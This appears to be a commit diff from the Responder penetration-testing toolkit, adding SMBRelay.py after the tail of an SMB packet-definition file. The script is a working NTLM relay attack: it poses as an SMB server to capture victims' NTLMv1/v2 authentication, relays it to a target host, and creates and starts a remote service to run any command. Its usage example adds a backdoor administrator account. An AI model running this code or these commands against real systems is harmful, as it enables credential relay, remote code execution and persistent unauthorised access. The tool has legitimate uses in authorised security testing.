class SMBNegoAns(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x11"),
|
||||||
|
("Dialect", ""),
|
||||||
|
("Securitymode", "\x03"),
|
||||||
|
("MaxMpx", "\x32\x00"),
|
||||||
|
("MaxVc", "\x01\x00"),
|
||||||
|
("Maxbuffsize", "\x04\x11\x00\x00"),
|
||||||
|
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||||
|
("Sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("Capabilities", "\xfc\x3e\x01\x00"),
|
||||||
|
("Systemtime", "\x32\x19\xee\xd8\x33\xd6\xcd\x01\x6c\xfd"),
|
||||||
|
("Keylength", "\x08"),
|
||||||
|
("Bcc", "\x10\x00"),
|
||||||
|
("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
|
||||||
|
("Domain", "TOOLKIT"),
|
||||||
|
("DomainNull", "\x00\x00"),
|
||||||
|
("Server", "SMBTOOLKIT"),
|
||||||
|
("ServerNull", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
##Convert first..
|
||||||
|
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
||||||
|
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
||||||
|
##Then calculate.
|
||||||
|
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||||
|
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||||
|
|
||||||
|
# SMB Session/Tree Answer.
|
||||||
|
class SMBSessTreeAns(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x03"),
|
||||||
|
("Command", "\x75"),
|
||||||
|
("Reserved", "\x00"),
|
||||||
|
("AndXoffset", "\x4e\x00"),
|
||||||
|
("Action", "\x01\x00"),
|
||||||
|
("Bcc", "\x25\x00"),
|
||||||
|
("NativeOs", "Windows 5.1"),
|
||||||
|
("NativeOsNull", "\x00"),
|
||||||
|
("NativeLan", "Windows 2000 LAN Manager"),
|
||||||
|
("NativeLanNull", "\x00"),
|
||||||
|
("WordcountTree", "\x03"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved1", "\x00"),
|
||||||
|
("AndxOffset", "\x00\x00"),
|
||||||
|
("OptionalSupport", "\x01\x00"),
|
||||||
|
("Bcc2", "\x08\x00"),
|
||||||
|
("Service", "A:"),
|
||||||
|
("ServiceNull", "\x00"),
|
||||||
|
("FileSystem", "NTFS"),
|
||||||
|
("FileSystemNull", "\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
##AndxOffset
|
||||||
|
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||||
|
|
||||||
|
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
|
||||||
|
##BCC 1 and 2
|
||||||
|
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||||
|
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||||
|
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
||||||
|
|
||||||
|
class SMBSessEmpty(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Empty", "\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
437
SMBRelay.py
Normal file
437
SMBRelay.py
Normal file
|
@ -0,0 +1,437 @@
|
||||||
|
# NBT-NS/LLMNR Responder
|
||||||
|
# Created by Laurent Gaffie
|
||||||
|
# Copyright (C) 2013 Trustwave Holdings, Inc.
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sys, os, struct,re,socket,random, RelayPackets,optparse,ConfigParser, thread
|
||||||
|
from FingerprintRelay import RunSmbFinger
|
||||||
|
from odict import OrderedDict
|
||||||
|
from socket import *
|
||||||
|
from RelayPackets import *
|
||||||
|
|
||||||
|
def UserCallBack(op, value, dmy, parser):
|
||||||
|
args=[]
|
||||||
|
for arg in parser.rargs:
|
||||||
|
if arg[0] != "-":
|
||||||
|
args.append(arg)
|
||||||
|
if getattr(parser.values, op.dest):
|
||||||
|
args.extend(getattr(parser.values, op.dest))
|
||||||
|
setattr(parser.values, op.dest, args)
|
||||||
|
|
||||||
|
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -r ",
|
||||||
|
prog=sys.argv[0],
|
||||||
|
)
|
||||||
|
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||||
|
|
||||||
|
parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
|
||||||
|
|
||||||
|
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||||
|
|
||||||
|
parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials.",metavar="WORKGROUP",dest="Domain")
|
||||||
|
|
||||||
|
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||||
|
|
||||||
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
|
if options.CMD is None:
|
||||||
|
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.TARGET is None:
|
||||||
|
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.UserToRelay is None:
|
||||||
|
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
ResponderPATH = os.path.dirname(__file__)
|
||||||
|
# Set some vars.
|
||||||
|
UserToRelay = options.UserToRelay
|
||||||
|
Domain = options.Domain
|
||||||
|
Command = options.CMD
|
||||||
|
Target = options.TARGET
|
||||||
|
OURIP = options.OURIP
|
||||||
|
|
||||||
|
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
|
||||||
|
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||||
|
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
#Logger
|
||||||
|
import logging
|
||||||
|
Logs = logging
|
||||||
|
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||||
|
|
||||||
|
#Function used to verify if a previous auth attempt was made.
|
||||||
|
def ReadData(outfile,Client, User, cmd=None):
|
||||||
|
try:
|
||||||
|
with open(ResponderPATH+outfile,"r") as filestr:
|
||||||
|
if cmd == None:
|
||||||
|
String = Client+':'+User
|
||||||
|
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||||
|
filestr.close()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
if cmd != None:
|
||||||
|
String = Client+","+User+","+cmd
|
||||||
|
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||||
|
filestr.close()
|
||||||
|
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
|
||||||
|
#Function used to parse SMB NTLMv1/v2
|
||||||
|
def ParseHash(data,Client, Target):
|
||||||
|
try:
|
||||||
|
lenght = struct.unpack('<H',data[43:45])[0]
|
||||||
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
|
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||||
|
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||||
|
if NthashLen == 64:
|
||||||
|
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||||
|
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||||
|
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||||
|
Username, Domain = tuple(var)
|
||||||
|
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||||
|
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||||
|
pass
|
||||||
|
if Username in UserToRelay:
|
||||||
|
print Client+' sent a NTLMv2 Response..Passing credentials to: '+Target
|
||||||
|
print "Username : ",Username
|
||||||
|
print "Domain (if joined, if not then computer name) : ",Domain
|
||||||
|
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||||
|
if NthashLen == 24:
|
||||||
|
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||||
|
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||||
|
Username, Domain = tuple(var)
|
||||||
|
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||||
|
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||||
|
pass
|
||||||
|
if Username in UserToRelay:
|
||||||
|
print Client+' sent a NTLMv1 Response..Passing credentials to: '+Target
|
||||||
|
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||||
|
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||||
|
print "Username : ",Username
|
||||||
|
print "Domain (if joined, if not then computer name) : ",Domain
|
||||||
|
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||||
|
else:
|
||||||
|
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
raise
|
||||||
|
|
||||||
|
#Detect if SMB auth was Anonymous
|
||||||
|
def Is_Anonymous(data):
|
||||||
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
|
if LMhashLen == 0 or LMhashLen == 1:
|
||||||
|
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
#Function used to know which dialect number to return for NT LM 0.12
|
||||||
|
def Parse_Nego_Dialect(data):
|
||||||
|
DialectStart = data[40:]
|
||||||
|
pack = tuple(DialectStart.split('\x02'))[:10]
|
||||||
|
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
||||||
|
test = tuple(var)
|
||||||
|
if test[0] == "NT LM 0.12":
|
||||||
|
return "\x00\x00"
|
||||||
|
if test[1] == "NT LM 0.12":
|
||||||
|
return "\x01\x00"
|
||||||
|
if test[2] == "NT LM 0.12":
|
||||||
|
return "\x02\x00"
|
||||||
|
if test[3] == "NT LM 0.12":
|
||||||
|
return "\x03\x00"
|
||||||
|
if test[4] == "NT LM 0.12":
|
||||||
|
return "\x04\x00"
|
||||||
|
if test[5] == "NT LM 0.12":
|
||||||
|
return "\x05\x00"
|
||||||
|
if test[6] == "NT LM 0.12":
|
||||||
|
return "\x06\x00"
|
||||||
|
if test[7] == "NT LM 0.12":
|
||||||
|
return "\x07\x00"
|
||||||
|
if test[8] == "NT LM 0.12":
|
||||||
|
return "\x08\x00"
|
||||||
|
if test[9] == "NT LM 0.12":
|
||||||
|
return "\x09\x00"
|
||||||
|
if test[10] == "NT LM 0.12":
|
||||||
|
return "\x0a\x00"
|
||||||
|
|
||||||
|
def SmbRogueSrv139(key,Target):
|
||||||
|
try:
|
||||||
|
s = socket(AF_INET,SOCK_STREAM)
|
||||||
|
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
||||||
|
s.bind(('0.0.0.0', 139))
|
||||||
|
s.listen(0)
|
||||||
|
s.settimeout(30)
|
||||||
|
conn, addr = s.accept()
|
||||||
|
while True:
|
||||||
|
data = conn.recv(1024)
|
||||||
|
##session request 139
|
||||||
|
if data[0] == "\x81":
|
||||||
|
buffer0 = "\x82\x00\x00\x00"
|
||||||
|
conn.send(buffer0)
|
||||||
|
##Negotiate proto answer.
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
|
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key)
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
conn.send(buffer1)
|
||||||
|
##Session Setup AndX Request
|
||||||
|
if data[8:10] == "\x73\x00":
|
||||||
|
if Is_Anonymous(data):
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x01\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
|
packet1 = str(head)+str(SMBSessEmpty())
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
conn.send(buffer1)
|
||||||
|
else:
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x01\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
|
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
conn.send(buffer1)
|
||||||
|
Credz = ParseHash(data,addr[0],Target)
|
||||||
|
return Credz
|
||||||
|
except:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def RunRelay(host, Command,Domain):
|
||||||
|
Target = host
|
||||||
|
CMD = Command
|
||||||
|
print "Target is running: ", RunSmbFinger((host, 445))
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.connect((host, 445))
|
||||||
|
h = SMBHeader(cmd="\x72",flag1="\x00",flag2="\x00\x00",pid="\xfa\xfb")
|
||||||
|
n = SMBNego(Data = SMBNegoData())
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
Key = ParseAnswerKey(data,host)
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
try:
|
||||||
|
a = SmbRogueSrv139(Key,Target)
|
||||||
|
if a is not None:
|
||||||
|
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
||||||
|
if Domain == None:
|
||||||
|
Domain = OriginalDomain
|
||||||
|
if ReadData("SMBRelay-Session.txt", Target, Username, CMD) == True:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x01\xc7",pid="\xfa\xfb",mid="\x01\x00")
|
||||||
|
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
a = None
|
||||||
|
if data[8:10] == "\x73\x6d":
|
||||||
|
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
|
||||||
|
Logs.info(CLIENTIP+":"+Username)
|
||||||
|
if data[8:10] == "\x73\x0d":
|
||||||
|
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
|
||||||
|
Logs.info(CLIENTIP+":"+Username)
|
||||||
|
## NtCreateAndx
|
||||||
|
if data[8:10] == "\x73\x00":
|
||||||
|
print "[+] Authenticated, trying to PSexec on target !"
|
||||||
|
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBNTCreateData()
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## Fail Handling.
|
||||||
|
if data[8:10] == "\xa2\x22":
|
||||||
|
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
|
||||||
|
## DCE/RPC Write.
|
||||||
|
if data[8:10] == "\xa2\x00":
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
x = SMBDCEData()
|
||||||
|
x.calculate()
|
||||||
|
f = data[42:44]
|
||||||
|
t = SMBWriteData(FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLOpenManagerW.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
|
||||||
|
w.calculate()
|
||||||
|
x = SMBDCEPacketData(Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLCreateService.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
|
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
|
||||||
|
print "[+] Creating service"
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
ContextHandler = data[88:108]
|
||||||
|
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||||
|
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||||
|
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||||
|
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
|
||||||
|
w.calculate()
|
||||||
|
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLOpenService.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
|
print "[+] Failed to create the service"
|
||||||
|
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||||
|
w.calculate()
|
||||||
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLStartService.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
|
print "[+] Failed to open the service"
|
||||||
|
ContextHandler = data[88:108]
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||||
|
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
print "[+] Command successful !"
|
||||||
|
Logs.info('Command successful:')
|
||||||
|
Logs.info(Target+","+Username+','+CMD)
|
||||||
|
return True
|
||||||
|
if data[8:10] != "\x2e\x00":
|
||||||
|
return False
|
||||||
|
|
||||||
|
def RunInloop(Target,Command,Domain):
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
worker = RunRelay(Target,Command,Domain)
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
try:
|
||||||
|
thread.start_new(RunInloop,(Target,Command,Domain))
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
exit()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
raise
|
||||||
|
raw_input()
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue